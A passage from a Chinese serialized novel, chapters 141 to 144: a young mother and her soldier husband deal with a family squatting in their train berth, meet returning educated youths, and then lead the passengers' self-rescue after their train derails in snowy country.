“啥你的我的!这铺位写你名字了?我孙子看上这儿了,他喜欢这花被头子!火车上的位子,谁先占着就是谁的!你个城里女人,穿得人模人样的,咋还跟个娃娃抢地方?有没有点觉悟?” 她一顿唇枪舌剑,唾沫星子几乎喷到姜海棠脸上。 “就是!”旁边那个中年妇女,看样子是孩子的母亲,也帮腔道。 她朝着周围看了一圈,往前凑了凑,试图增加气势。 “孩子小,不懂事,就喜欢这花花的,你一个大人让让咋了?出门在外,互相帮衬点!” 铺位上的小男孩见奶奶和妈妈撑腰,更是有恃无恐,故意把小桃子的小花被揉成一团抱在怀里,挑衅地看着姜海棠。 陶玉和看不下去了,皱紧了眉头,忍不住开口:“这位老嫂子,话不能这么说。火车座位都是对号入座的,人家同志有票,你们这样硬占,不合规矩。” 年轻女子立刻把矛头转向老人,梗着脖子:“关你啥事?多管闲事!睡你的觉去!” 她刚才已经观察过了,整个车厢里,就只有这个年轻女人一个人,最好欺负。 还有这祖孙两个,也没啥战斗力。 第141章 不讲理的人 她可不怕她一个大姑娘敢和他们一家子对着干,她吃点儿亏就算心里不乐意也只能把委屈咽在肚子里。 至于管闲事的这个老太太,哼,不用怕,看着就不是个硬棒人。 姜海棠气得胸口起伏,怎么坐火车都能遇到这么明显不讲理的一家人? 她深吸一口气,强迫自己冷静,声音尽量清晰有力,压过对方的喧哗。 “规矩就是规矩!这是国家定的,火车票就是对号的凭证!你们没票占座,就是不对!请你们立刻离开这个铺位,把被子还给我女儿!” “还?凭啥还?我孙子抱会儿咋了?又弄不坏!” 老妇人蛮横地一挥手,索性一屁股坐在了姜海棠放在地上的旅行袋旁边,那蛇皮袋子几乎挨着她的腿。 “我们就坐这儿了!今天还就不走了!有本事你叫乘警来啊!我倒要看看,乘警是帮有娃娃的穷苦人,还是帮你们这些穿呢子大衣的!” “你……”姜海棠看着对方无赖的架势,又心疼女儿心爱的小花被被那小男孩紧紧抱着,又急又恼。 她环顾四周,希望有乘务员或者热心乘客能过来主持公道。 周围确实有零星几个人被争吵吸引,探头探脑地看着,但他们都抱着多一事不如少一事的心态,只是围观,没有人出面说话。 小男孩在铺位上得意地蹬着小腿,把小花被蒙在头上嘻嘻哈哈。 “你们也太不讲理了,这不是你们的位置,请你们让开。”赵晓梅和姜海棠并肩站着,义正言辞的说。 年轻妇女冷哼一声说:“还真有多管闲事的人呢,你信不信,连你们的位置一起占了。” 对方虽然有两个人,但那老太太年龄大了,肯定不敢动手,就这个弱鸡一样的小姑娘,好对付。 “你们讲不讲理?”姜海棠气得脸色涨红。 就在这时,车厢连接处传来脚步声和熟悉的呼唤。 “海棠?怎么了?” 是陆良辰的声音!他抱着刚在站台活动了一下的小桃子回来了。 小桃子看到自己的被子被一个陌生男孩抱着玩,小嘴一瘪,带着哭腔喊:“妈妈!被被!我的被被!” 陆良辰一看这场面,姜海棠被气得脸色发白,一个陌生老太婆坐在地上堵着他们的位置,一个陌生男孩霸占着女儿的铺位还抱着女儿的被子,旁边还有个年轻女人虎视眈眈。 陶玉和老太太和赵晓梅祖孙两个更是一脸气愤,他瞬间就明白了七八分。 陆良辰他浓黑的眉毛立刻拧成了疙瘩,不怒自威和护犊子的本能让他周身的气压骤然降低。 他把小桃子塞进姜海棠怀里,高大的身躯往前一站,像一堵墙隔开了妻子女儿与那撒泼的一家。 他目光如电,扫过老妇人和那年轻女子,最后定格在铺位上的小男孩身上。 老妇人和年轻妇人都以为姜海棠只有一个人,因此才敢欺负姜海棠,现在忽然冒出来一个男人,她们两个人的气势瞬间萎靡。 尤其是年轻妇人,目光躲闪,甚至都不敢看陆良辰,她怀疑,这个男人只要一脚,就能送自己离开。 陆良辰的声音不高,却像一块冰冷的铁锭砸在狭窄的车厢空间里,瞬间压住了所有的嘈杂。 “同志,这是我们的铺位,请你们,立刻离开!” 他的目光最后落在小男孩紧紧抱着的小花被上,补充道:“还有,把我女儿的东西放下。” 他挺拔的身姿以及眉宇间那股经历过战火淬炼的刚毅,形成了一种无声的威慑。 陆良辰的凛然的气势,让车厢里为之一静。 那年轻女子下意识地往后缩了缩。 铺位上的小男孩似乎也感觉到了危险,抱着被子的手松了松,有些不知所措地看向自己的奶奶。 撒泼的老妇人像是被掐住了脖子的鸭子,尖厉的叫骂卡在喉咙里,浑浊的眼睛里闪过一丝不易察觉的慌乱。 她下意识地挺了挺佝偻的背,试图找回刚才的气势,但面对陆良辰锐利如刀的目光,底气明显泄了大半。 她干咳一声,声音虽然还大,却没了之前的理直气壮。 “你……你谁啊?吓唬谁呢?我……我孙子就喜欢这被头子,坐会儿怎么了?火车是国家的,又不是你家的!” 年轻女子往婆婆身后缩了缩,眼神躲闪着,不敢与陆良辰对视,嘴里却还小声嘟囔:“就是……孩子小嘛……” 铺位上的小男孩被陆良辰的气势吓住了,抱着小花被的手彻底松开,小身子往后缩了缩,脸上得意的笑容消失,取而代之的是茫然和一丝害怕。 “奶……” “爸爸!我的被被!他抢我的被被!” 小桃子这时候才看到,自己的被子被人抢走了,她委屈瞬间爆发,哭喊起来,小手指着铺位上的男孩,眼泪像断了线的珠子往下掉。 女儿的哭声像针一样扎在陆良辰心上,也点燃了他强压的怒火。 他上前一步,高大的身影几乎将整个铺位的光线都遮住了一些。 他没有再看老妇人,目光直接锁定在小男孩身上,语气不容置疑。 “小朋友,起来。这是别人的位置,别人的东西,不能抢。” 他的声音并不凶狠,却有种让人无法抗拒的力量。 小男孩被这气势彻底慑住,“哇”的一声哭了出来,手脚并用地从铺位上爬下来,躲到了奶奶身后。 “你……你一个大男人,吓唬孩子算什么本事!” 老妇人见孙子被“欺负”,心疼之下又鼓起几分泼劲,伸手想把孙子重新推回铺位,但动作明显迟疑了。 “这位同志!”陶奶奶忍不住再次开口,语气带着几分严肃,“人家这位同志说得在理!车票就是凭证!你们这样胡搅蛮缠,霸占别人铺位,还抢孩子的东西,太不像话了!这要是在旧社会,你们这是土匪行径!新社会了,要讲道理,讲规矩!” “你放屁!”老妇人恼羞成怒,不敢对这个杀神一样的男人撒泼,还不能对一个老太太撒泼了? 她立刻调转矛头,“我们贫下中农坐个火车怎么了?就你们城里人、穿军装的精贵?我孙子喜欢这花被头子,那是看得起她!” “够了!”陆良辰猛地一声低喝,震得老妇人一个哆嗦。 他眼神冰冷地扫过老妇人和年轻妇女:“第一,这不是‘被头子’,是我女儿心爱的小花被。第二,火车座位,对号入座,这是国家规定!第三,你们的行为,已经构成侵占他人财物,扰乱公共秩序!” 他不再废话,转头看向车厢连接处,朗声道:“乘警同志!这里有人强占座位,扰乱秩序,请来处理一下!” 他中气十足,声音清晰地传了出去。 他这一嗓子,效果立竿见影。 老妇人脸色唰地白了,年轻妇女更是慌了神,都抖了起来,低声急促地对婆婆说:“娘……娘!算了吧……乘警要来了……” “乘警来了又咋得?我……我又没犯法!” 老妇人嘴上还硬,但眼神已经开始慌乱地四处瞟,坐在地上的屁股也不自觉地抬了起来,下意识地想去拉地上的蛇皮袋。 就在这时,穿着深蓝色制服、戴着大檐帽的乘警闻声快步走了过来,身后还跟着一个列车员。 乘警四十来岁,面容严肃,目光扫视着混乱的现场:“怎么回事?吵什么吵?” “乘警同志!”姜海棠立刻上前,把车票递过去,声音清脆清晰,“这是我们的铺位,车票在这儿。这一家三口就强行占了我们的铺位,还把我女儿的小花被抢过去抱着玩,怎么说都不听,还骂人!” “他们胡说!”老妇人抢着开口,声音尖厉但明显气短,“我……我孙子就坐了一下,那被子他自己掉地上的……我们……我们没抢!是他们城里人看不起我们贫下中农,欺负我们老实人!” 她颠倒是非,试图用“阶级”来混淆视听。 年轻女子低着头,一声不敢吭。 陶奶奶立刻指着地上的蛇皮袋和老妇人刚才坐过的位置:“乘警同志,我作证!就是她们硬占的位子,还坐人家行李旁边堵着路!那小男孩刚才确实抱着人家小姑娘的被子不撒手,人家妈妈要都不给!” 周围的乘客也终于有几个胆大的低声附和:“是啊,是她们不讲理……” “人家有票的……” 乘警经验丰富,一看这场面,再对比车票,心里已经有了判断。 这样不讲理的人,他们见的多了,就是不知道,这个老妇人是不是糊涂,怎么找了这么一块铁板踢? 她也不看看,就这位年轻的男同志,是不是她们能欺负的。 他板着脸,先看向老妇人一家:“你们的车票呢?拿出来看看。” 老妇人眼神闪烁,支支吾吾:“票……票在我儿子身上。他……他在别的车厢……” 第142章 金又晴 “没票?”乘警眉头紧锁,声音严厉起来,“没票你们怎么上的车?还强占别人座位?还拿人家孩子的东西?这是严重的无票乘车和扰乱秩序行为!跟我到乘务室去说清楚!” 一听要去乘务室,老妇人彻底慌了神,腿一软差点坐地上。 “同志!同志!我们……我们有票!有站票!我们……我们这就走!这就走!” 快过年了,车票紧张,他们一家三口没买到坐票,只买到了站票,可只占了一站路,小孙子就受不住,开始哭闹起来。 老妇人听到一旁有人说起火车上还有卧铺票,可以睡觉,可舒服了。 她眼珠子滴溜溜转着,拖家带口就寻找卧铺车厢去了,不得不说,她运气还挺好,真的让她找到了。 其实,她要是找个没有人的位置,悄悄的眯一会儿,别人一时半刻也不会发现,谁知道她偏偏纵容孙子抢别人的座位。 老妇人手忙脚乱地去拉地上的蛇皮袋,又去拽还在抽泣的孙子,“快走快走!” 可小男孩根本不愿意走,站票要一直站着,太累了,他要躺着。 小男孩开始撒泼打滚:“我不走,奶,我就要住在这里,这里舒服。” “再不走,警察把你抓走!” 小男孩听到这话,吓坏了,忙偷着看看两个乘警同志。 看着乘警一脸严肃的样子,小男孩缩缩脖子,不敢继续闹腾了。 他想不明白,为什么坐火车要被警察抓走,他想着,自己以后再也不要坐火车了…… 老妇人拉着孩子走了,年轻女子也急忙拖着剩下的行李赶紧跟着婆婆,三个人像打了败仗的逃兵,在乘警严厉的目光和周围乘客鄙夷的注视下,灰溜溜地挤过人群,朝硬座车厢的方向仓皇逃去。 临走前,那老妇人还恶狠狠地回头剜了姜海棠和陆良辰一眼,嘴里不清不楚地嘟囔着什么。 乘警对着他们的背影警告道:“下次再发现无票占座、扰乱秩序,直接交前方大站派出所处理!” 然后他转向陆良辰和姜海棠,脸色缓和了些:“同志,不好意思,让你们受惊了。出门在外,什么样的人都有,多理解。铺位你们安心休息,有事再叫我们。” "谢谢乘警同志。"陆良辰下颌微收,深褐色瞳仁里沉淀着让人安心的沉静。 姜海棠抱着抽抽噎噎的小桃子向乘警道道谢。 乘警看着还在抽抽搭搭,沾着泪痕的睫毛像被雨水打湿的蝶翼一般的小桃子,从口袋里摸出一颗糖,递给小桃子。 “小朋友,叔叔请你吃糖,吃了糖,不能再哭了哦!” 等乘警制服的藏蓝色身影消失在车厢连接处,列车的机械轰鸣声重新占据听觉。 陶奶奶感叹道:“唉,林子大了什么鸟都有,亏得你丈夫镇得住,要不然,就要啊被欺负了。 陆良辰没接话,骨节分明的手指抚过被揉皱的小花被,仿佛在抚平女儿受惊的情绪,布料上沾着的碎屑簌簌落在地板上。 他把小花被递给女儿。 “小桃子不哭了,看,被被回来了。”姜海棠抱着女小家伙轻声哄着,眼眶也有些发红。 小桃子紧紧抱住失而复得的小被子,小脸埋在柔软的布料里,抽噎声渐渐小了。 姜海棠才回头对陶玉和说:“陶奶奶,刚才谢谢您和晓梅姐。” “客气啥呀,你不是还帮了我。”陶玉和摆摆手,回到自己的铺位去了。 事情虽然过去了,但姜海棠觉得憋屈的很,她自来想的都是人不犯我我不犯人,可她没有犯人,为什么还会有人。 陆良辰冷硬的轮廓柔和下来,他轻轻拍了拍姜海棠的肩膀安抚。 姜海棠望着陆良辰冷峻侧脸,突然觉得眼眶发胀。 陆良辰察觉小姑娘情绪不佳,宽厚手掌轻轻覆上她的手。 “我好像越来越脆弱了。”姜海棠有点羞涩地说。 以前,什么事都需要自己扛着的时候,她可不是现在这样。 果然,只有被心疼的人,才有资格脆弱撒娇。 “别往心里去,就是几个不着调的,犯不着为了这个生气,气坏了自己不值得。” 姜海棠也知道,犯不着为了这样的人生气,可心里,这股气就是咽不下去。 陆良辰说话的时候,不时的警惕的目光偶尔扫过车厢连接处,似是在看那一家三口会不会再回来。。 姜海棠看到小桃子眼皮直打架,口水都要流下来了,忙看看手表,时针已经快指向一点。 “不生气了,我们吃饭。” 她从包里将中午的吃食拿出来,她拿出一饭盒的煎饼,再拿出一饭盒的凉拌土豆丝,最后拿出一罐牛肉酱。 “我们中午先吃煎饼卷菜,加上点牛肉酱。” 打开盖子,煎饼特有的麦香混着土豆丝的醋香扑面而来,牛肉酱上油花在灯光下泛着诱人的光泽。 "尝尝我新学的卷饼,"她冲丈夫眨眨眼,"保证比食堂大师傅做得还香。" 姜海棠说着,又到旁边的铺位邀请陶玉香和赵晓梅祖孙二人一起吃饭。 陶玉香说道:“不了,不了,我们带吃的了。” 姜海棠也没有勉强,回到位置,陆良辰已经打了热水回来,冲了一杯麦乳精。 “你先喝两口水,我卷饼。” “我来吧。” “卷饼我会,你放心交给我吧。小桃子,爸爸给你卷饼好不好啊?” 小桃子蔫蔫地点头:“好!” “小桃子不想吃爸爸的卷饼吗?”陆良辰虽然知道小闺女是为什么不高兴,但还是故意说。 小桃子挤出一抹笑容说:“不是的,小桃子喜欢吃爸爸的卷饼。” 陆良辰已经卷好了第一个卷饼,递给小桃子。 “谢谢爸爸!”小桃子十分乖巧可爱地道谢,然后小嘴巴一动一动地开始啃卷饼,腮帮子鼓得像只小松鼠。 姜海棠舀起一勺麦乳精递到小家伙嘴边,甜丝丝的香气瞬间弥漫开来。 "好吃!"孩子眼睛亮晶晶的,沾着酱汁的嘴角终于扬起久违的弧度。 第二个卷饼,陆良辰给了姜海棠,然后他又连着卷了好几个饼,看着姜海棠和小桃子两个人情绪都不错,他冷峻的眉眼彻底舒展,他喉结滚动,大口吃着卷饼。 三个人吃了简单的午饭后,姜海棠搂着瞌睡到不行的小桃子在一个铺位上,陆良辰躺在对面的铺上。 午后的阳光斜斜照进车窗,在火车的摇晃中,他们渐渐沉入梦乡。 姜海棠再次睁眼,是被嘈杂的人声吵醒的。 车厢里传来此起彼伏的搬运行李声,四个年轻的男女,叽叽喳喳地踮脚往行李架上塞麻袋。 瞧见姜海棠醒来,一个女青年不好意思地冲着她笑笑,说道:“不好意思,吵醒你了。” 姜海棠坐起身说:“没事,该起来。” 正说着话,帆布包带缠住了开口的年轻姑娘的麻花辫。 "我帮你!"姜海棠利落地站起身,双臂稳稳托住沉甸甸的包裹。 年轻姑娘涨红着脸道谢。 几个人将行李放好之后,各自爬上自己的铺位。 刚才和姜海棠说话的女青年正好在姜海棠的斜上方,她笑着说:“你的力气好大,比我们生产队的壮劳力还大!” “从小干活,有一把子力气。” “我们是下乡的知青,我叫金又晴,我们四个是在同一个县里下乡的,这次一起请假回京城探亲的,你也是去京城探亲吗?” 显然,女知青是个非常健谈的人,姜海棠虽然遇到过不少热情的人,但这么外放的人,还真是第一次见。 “嗯,我们也是回家探亲的。”姜海棠回答。 “你看着挺年轻的,已经结婚了吗?” 姜海棠对于这个问题有点不知道该怎么回答了,她尴尬而不失礼貌地微笑一下。 另外一名女知青大概是感觉到姜海棠的尴尬了,笑道:“这位同志,您别介意,金知青就是这样的性格。” 金又晴这时候才反应过来,自己太没有边界感了。 她忙笑着说:“我就是觉得你挺面善的,想着和你多说几句话,你别介意啊。” 姜海棠微笑着摇摇头,表示自己不介意。 “同志,你好,未来的路途,我们要一起走,要是我们有什么不好的地方,请您多多包涵。” 上铺的一个年轻小伙子许是担心金又晴说错话,索性提前向姜海棠道歉。 姜海棠觉得,这几个年轻人还挺不错的,这一路上,应该会很平稳。 “我没事,我觉得,金知青这样挺好。”姜海棠笑着看着金又晴,这样的姑娘,确实很好,一看就很好打交道。 “我们先休息休息,今天天不亮就起来赶路了。” 几个知青躺在铺位上,不多时候,都睡着了。 直到车厢重归寂静,姜海棠小心翼翼摊开纸张,铅笔在方格纸上沙沙游走。 她最新计划设计的这几款是打算参加广交会的,因此,在设计上,就不能墨守成规,必须要大胆,在保留传统元素的基础上,还要与当前流行趋势接轨。 将传统盘扣元素与几何图案反复交织,窗外呼啸的风声里,新的设计灵感正在笔尖绽放。 她时而拧眉,时而微笑,一遍又一遍地修改图稿,希望能达到最佳。 第143章 横祸 不知不觉中,窗外的天色越来越暗,北方的原野在暮色中显得格外苍茫辽阔,积雪反射着微弱的冷光。 气温似乎更低了,车厢连接处的缝隙钻进来的风带着刺骨的寒意。 陆良辰躺在床上,并没有睡,他安安静静的看着姜海棠认真工作的模样,眼底眉间都是宠溺。 突然! 一声沉闷又巨大的金属断裂声,伴随着尖锐刺耳的摩擦声,毫无预兆地从车底传来! 整个车厢猛地剧烈一震,像是被一只无形的巨手狠狠推搡了一下! “哐当——吱嘎嘎——!!!” 巨大的惯性让所有人都猝不及防地向前猛扑!行李架上的包裹噼里啪啦地往下掉,热水瓶摔在地上发出爆裂的脆响,开水四溅! 惊呼声、尖叫声瞬间在车厢里炸响。 “啊——!” “怎么回事?!” “车要翻了?!” 许多人开始惊慌失措起来,一时之间,大人喊小孩叫。 姜海棠在震动袭来的瞬间,下意识地一把抱过小桃子,紧紧护在怀里。 她用身体抵住了坚硬的铺位隔板,避免孩子被甩出去。 陆良辰反应极快,在身体前冲的同时,一手牢牢抓住上铺的栏杆稳住自己,另一只手闪电般伸出,一把抓住了姜海棠。 睡在中铺和上铺的四个年轻人也尖叫起来,好在年轻,又是在乡下待过的,在关键时候,紧紧抓住了床铺和车厢上的把手,才算稳住。 “奶奶,奶奶!” 忽然,姜海棠听到了隔壁铺位传来赵晓梅惊慌失措的喊声。 姜海棠立即意识到,陶玉和出事了。 剧烈的晃动持续了令人心悸的几秒钟,伴随着令人牙酸的金属扭曲声,火车终于在巨大的惯性下,伴随着刺耳的刹车声,歪歪扭扭地停了下来。 姜海棠这才抱紧小桃子,在陆良辰的护送下到了隔壁铺位,只见陶玉和滚落在地板上,所幸被散落的行李和棉被缓冲了一下,没有造成更大的伤害。 “陶奶奶,您没事吧?”姜海棠忙问。 陆良辰立即过去确认好人的情况。 好在,老人只是从铺位上摔了下来,摔了一跤,晕晕乎乎的。 将老人扶正,众人才发现,车厢倾斜了!明显能感觉到一边高一边低。 车窗外不再是流动的风景,而是一片死寂的、覆盖着厚厚积雪的荒野。 凛冽的寒风瞬间从破损的车窗和扭曲的车门缝隙里疯狂灌入,车厢内的温度骤降! 短暂的安静之后,有人开始大喊。 “出事了!火车出轨了!” “快看!有车厢歪了!” “救命啊!有人受伤了!” 凄厉的哭喊声不知道从哪个方向传来,此起彼伏。 混乱和恐慌像瘟疫一样迅速蔓延。 车厢里灯光闪烁了几下,彻底熄灭,只有应急灯发出惨淡微弱的光芒,映照着一张张惊慌失措的脸。 刺骨的寒风呼啸着,吹得人透心凉。 “良辰,怎么办?”姜海棠也焦急起来。 陆良辰迅速站直身体,军人的本能让他立刻进入应急状态。 “大家不要慌!保持冷静!” 他洪亮的声音如同定海神针,瞬间压过了嘈杂。 许是这时候有人站出来的缘故,很多人的情绪得到稍缓,车厢里的人不再慌乱。 他锐利的目光扫过混乱的车厢,迅速判断情况:车厢倾斜约15度,连接处变形,寒风灌入,多人摔倒,有物品砸落,可能有乘客受伤。 最紧迫的是迅速控制混乱、救助伤员和防止失温! “党员同志们,请出列,在我左手边集合,车厢里的老弱妇孺需要你们。有医疗救助知识的同志们请在我右手边集合,受伤的群众需要你们援助。”陆良辰扬声高喊。 “赵晓梅同志,请你帮忙照顾我家孩子和陶奶奶。海棠,你帮忙查看伤员!”陆良辰语速极快地下达指令,语气不容置疑。 “明白!”姜海棠没有丝毫犹豫,立刻将还有些发懵的小桃子塞到对面铺位那位惊魂未定的赵晓梅怀里。 “晓梅姐,帮我抱下孩子,别让她乱动!观察陶奶奶的情况,有紧急情况立即求援。” 她迅速将小桃子的小杯子拿过来,裹在小桃子身上。 小桃子这时候竟然很懂事的没有闹,只是搂紧了赵晓梅的胳膊,眼睛一瞬不瞬地盯着姜海棠。 这时候,已经有一些人站出来,包括他们上铺和中铺的四个年轻人也站了出来。 “我们不是党员,也不是医护,但我们能帮忙。”四个人语气很坚定。 “我们先逐个车厢排查受伤情况。”姜海棠也没客气,直接带着四个人开始行动。 才向前走了两步,就看到一个怀抱着孩子的年轻女子和孩子一起滚落在地上。 姜海棠立刻蹲下身:“同志!你怎么样?孩子没事吧?” 年轻女子脸色惨白,额头被磕破了皮,渗出血丝,她慌乱地检查怀里的婴儿,孩子吓得哇哇大哭,但看起来没有明显外伤。 “我……我没事,孩子好像……好像也没……”她声音颤抖。 “别怕,我是已经在召集医护了,你这边注意观察孩子的情况。” 姜海棠的声音带着安抚的力量,她快速检查了一下婴儿的四肢和头部,确实如年轻女子所说,没有明显的伤。 “你先抱着孩子,找个避风的地方坐好,裹紧点!” 这时候,金又晴也已经走到了一个被热水烫伤手臂、疼得直抽气的妇女跟前。 “大姐别动!让我看看!” 其他三名知青,也已经在分头安抚受伤的乘客和受到惊吓的乘客们。 与此同时,陆良辰给三名懂得医护知识的人和几个自愿站出来的人简单的安排了一下后,大步冲向车厢连接处。 那里情况比想象的更加糟糕,连接处的铁皮扭曲变形,冷风像刀子一样灌进来,地上有散落的玻璃碎片。 陆良辰看向另外一节车厢。 “还能动的男同志帮忙把受伤的同志扶到避风的地方,救援人员一时半刻未必能到,我们要先自救。”陆良辰大声呼喊。 车厢里的人逐渐平复下来,又有几个人主动站出来帮忙。 “注意检查一下有没有人被重物压住!注意脚下碎玻璃,不要造成二次伤害!” 陆良辰安排完这个车厢,转头就去了下一个车厢。 下一个车厢里的情况比他们这一节车厢的情况还要糟糕。 他身先士卒,俯身将一个被行李压住腿的中年男人用力拖了出来。 然后按照之前的安排,召集车厢里能动的人主动站出来,让大家开始自救。 有了陆良辰镇定的指挥,让混乱的车厢找到了主心骨。 几个惊魂稍定的男乘客立刻响应,开始互相搀扶伤员,清理过道上的障碍物。 “乘务员!列车长!”陆良辰朝着车头方向大喊,但回应他的是更远处传来的混乱和风声。 陆良辰一节车厢一节车厢的穿过,一节车厢一节车厢地安排人自救。 姜海棠在确定车厢里的人都得到救助之后,果断地朝着和陆良辰相反的方向走。 她按照之前陆良辰打好的样板,开始招呼后半段车厢里的人开展自救。 “请能动的男同志和年轻同志们主动帮助需要帮助的伤员和老弱妇孺。” “需要保暖的东西!所有能保暖的,毯子、大衣、被子,优先给老人、孩子和伤员!” “注意脚下,不要造成二次伤害。” 姜海棠一遍又一遍地重复着这些话,嗓子都沙哑了,才算走到车辆的尾端。 有人出面,车厢里的人虽然依然混乱,但到底比之前情绪要稳定许多。 许多孩子和女人正在嘤嘤哭泣,但声音很小,似乎是怕感染到别人的情绪。 “同志们,大家要相信,我们都能好好的。大家把能够御寒的衣物都拿出来,裹在身上,尤其是小孩子,一定要照顾好。” 太阳已经落山了,车窗上的玻璃破碎,冷风呼啦啦地灌进来,车厢里的气温越来越低,有些人已经冻得瑟瑟发抖。 卧铺车厢有被子,情况比硬座车厢还要好上一些。 姜海棠看着心酸,但这时候,她也无能为力,只能尽量的帮助需要帮助的人。 她的手套、围巾都已经给了小孩子和老人,冷风顺着脖子灌进来,她不由打了一个冷颤。 姜海棠在确定了后面几个车厢的情况之后,迅速回到原来的车厢。 她担心小桃子长时间看不到她和陆良辰会害怕。 好在,小桃子比她想象中的更加坚强,小家伙坐在赵晓梅的怀里,并没有哭。 有几个男同志不知道从什么地方找到了一些硬纸板,正在试图堵住破损的窗口。 车厢里的人或者在忙碌,或者彼此依靠坐在一起,但谁都没有说话。 显然,每个人都在担心,担心自己是不是能扛过这一场再难。 姜海棠挤出一抹笑容,安抚说道:“请大家相信,我们一定能闯过难关,按时回家过年! 第144章 自救 可是,这时候,外面寒风如猛兽般呼啸着,疯狂地撞击着车厢的窗户,发出令人心惊胆战的“哐哐”声,仿佛随时都能将这脆弱的屏障击碎。 姜海棠刚刚说出口的那些安慰话语,在这残酷的现实面前,显得是那样的无力和苍白。 车厢里,乘客们个个神情萎靡,眼神中充满了无助和恐惧。 几个妇女抱在一起,低声抽泣着,嘤嘤的哭声在寂静的车厢里回荡,更添了几分悲凉。 就在这时,一个愤怒的声音突然响起:“乘警呢?乘务员呢?怎么没人管我们?” 这声质问,像一颗石子投入平静的湖面,瞬间激起了众人心中的不满和恐慌。 姜海棠心中“咯噔”一下,她知道,一旦恐慌情绪蔓延开来,后果将不堪设想。 她立刻挺直身子,大声喊道:“大家冷静,我们这节车厢的损失相对算小,其他车厢的受损情况更大,他们应该还在前面救援。” 然而,她的话并没有起到预期的效果。 那个叫嚷的人情绪越发激动,近乎崩溃地喊道:“那我们怎么办?我们就只能在这里忍受饥寒交迫?我们只能在这里等死?” 当等死两个字从这个人嘴里说出来的时候,车厢里的气氛更加诡异起来。 姜海棠深吸一口气,努力让自己保持冷静。 她知道,必须让大家意识到当前的严峻形势,才能稳定住局面。 “同志们,虽然我们现在很冷,但最起是安全的,可我们的安全是暂时的,接下来一到两个小时的时间,我们的危险依然存在。” 她的声音坚定而有力,在车厢里回荡。 听到她这话,车厢里顿时安静了下来,只有沉重的呼吸声和偶尔的抽泣声。 很快,有人打破了这令人压抑的寂静:“车还会继续侧翻吗?要不,我们先下车吧?” “外面冷得不得了,我们下去不会被冻死吗?”有人提出质疑。 但理智的人更多。 “我们下车,说不定有一条生路。” 姜海棠举起手,示意大家安静,然后说道:“同志们,我们后面有列车,前方也有列车,如果不能及时请求援助,叫停前后方的列车,一旦会车,很有可能出现火车相撞。” “一旦火车相撞,会给我们这列火车以及相撞的火车造成多惨烈的损失?我相信,乘警和乘务员们不是放着我们不管,而是在做更重要的事,比起救援,他们现在更重要的是联系站台,采取应急措施,尽量避免后续伤亡。” “同志们,灾难面前,大家先克服一下困难,共同努力摆脱困境好吗?” 她的话让许多人陷入了沉思,大家似乎都意识到了潜在的危险。 就在这时,金又晴站了出来,高声喊道:“同志们,我们必须自救,我们立即到前面和列车长商量,如果列车不能联系站台,我们要立即出发,叫停两边的车。” 姜海棠毫不犹豫地说道:“我们两个去前面看看情况。” 她走到赵晓梅身边,看着怀中安静坐着眨巴着大眼睛看她的小桃子,心中满是愧疚。 “小桃子,妈妈还有重要的事要忙,你先在赵阿姨的怀里坐一会儿好吗?” 小桃子仰起小脸,虽然眼中满是不舍,但还是坚强地点了点头,声音稚嫩却坚定:“妈妈,我长大了!” 姜海棠看着女儿如此懂事,眼眶瞬间湿润了,但她知道,现在不是儿女情长的时候。 她强忍着泪水,转身朝着车前方走去,金又晴紧紧跟上她的脚步。 两个人深一脚浅一脚地朝前走,每走一步都十分艰难。 每节车厢都是一片狼藉,行李散落一地,桌椅东倒西歪。 越往前走,车辆的损坏程度越严重,空气里还弥漫着一股刺鼻的味道。 但好在,各节车厢内的乘客们都在努力自救,互帮互助的场景让她们感到一丝欣慰。 终于,她们来到了车头部位,眼前的景象却让她们的心猛地一沉。 最前面一节车厢,连接火车头的位置,门框严重变形,扭曲得不成样子。 陆良辰和几个乘警同志正轮流用肩膀撞击着金属门框,每一次撞击,都伴随着沉闷的响声和金属门框不堪重负的吱呀声,可那道门却顽固地屹立不倒。 “海棠,你怎么过来了?”陆良辰看到姜海棠,眼中闪过一丝惊讶。 姜海棠顾不上寒暄,急切地问道:“什么情况?” “发生事故的时候,这道门正好是锁着的,现在里面的人出不来,外面的人进不去。”陆良辰的声音中充满了焦急和无奈。 姜海棠的心一下子揪了起来,情况比想象的还要糟糕。 “必须尽快联系到前面的人,只有进入车头,才能和站台联系,请求救援,也不知道我们后面的车辆还有多长时间经过这里,还有前面过来的车辆,和我们这趟列车是不是同一轨道……”她的话语中透露出深深的担忧。 听姜海棠如此说,陆良辰的表情也更加严肃起来。 “列车长呢?”姜海棠扫视了一圈问。 “出现事故的时候,头部受伤,还在昏迷中,正在抢救。”一个女乘务员回答。 陆良辰说:“目前情况不明,我们得自救。” 说完,他转头看向正在照顾重伤员的乘务员,问道:“乘务员同志,你们知不知道火车行进到这段路,后面和前面有没有和我们同轨的列车?” 几个乘务员因为事故的突然发生,早已慌了神,他们机械地忙碌着,眼神中满是迷茫和恐惧。 过了好一会儿,总算有一名乘务员才缓过神来,声音颤抖地说:“在我们这趟列车经过这段路之后的四十分钟,有一趟列车从正面途径此地,在前面的岔路口改道。一个小时后,有一趟列车会从我们后方经过这条路段。” 陆良辰赶紧看了看手表,脸色瞬间变得苍白,距离车辆出现事故,已经过去了十二分钟,也就是说,二十八分钟之后,迎面而来的列车就会与他们这趟列车会车。 时间紧迫,每一秒都关乎着所有人的生命。 “同志,请你们立即想办法打开车厢的车门,有序组织所有乘客下车。同时,想办法组织人员分别朝两头出发,及时叫停两方过来的车辆。尤其是前方的车辆,避免发生两车相撞的恶性事故!”陆良辰果断地下达命令。 回过神的乘务员连忙点头:“好的,同志。” “同志们,情况紧急,我们分开行动,小王,你和小李动员车厢里的人尽快下车。小赵,小齐,你们抓紧时间打开列车门,能打开的尽量打开,然后协助疏散乘客下车。我召集人员,想办法去前方拦截列车。”好在,这个乘务员关键时候没有掉链子,而是有条不紊地安排。 “同志,请你们带上所有的手电筒,天已经黑了,用手电筒示意前方的车辆效果好。”姜海棠在一旁提醒道。 几位乘务员点头,迅速行动起来,开始紧张地执行任务。 姜海棠看了看还在努力破门的几个人,对陆良辰说:“你和几位乘警继续想办法破门,我和金知青协助乘务员同志们开展自救。” 她心里清楚,车头上一直没有动静,里面的情况恐怕不容乐观,自救工作刻不容缓。 “我们现在很危险,请体力有保障的同志下车,火速朝着火车前方前进,叫停前面的车辆,避免出现更大事故。有手电筒的同志贡献一下手电筒,谢谢大家。” “其他同志请将保暖衣物都套在身上,抓紧时间下车。” 姜海棠和金又晴扯着嗓子,一遍又一遍地呼喊着。 姜海棠的嗓子早已沙哑,每说一句话都像吞了刀片一样疼,但她顾不上这些,依然竭尽全力地呼喊着。 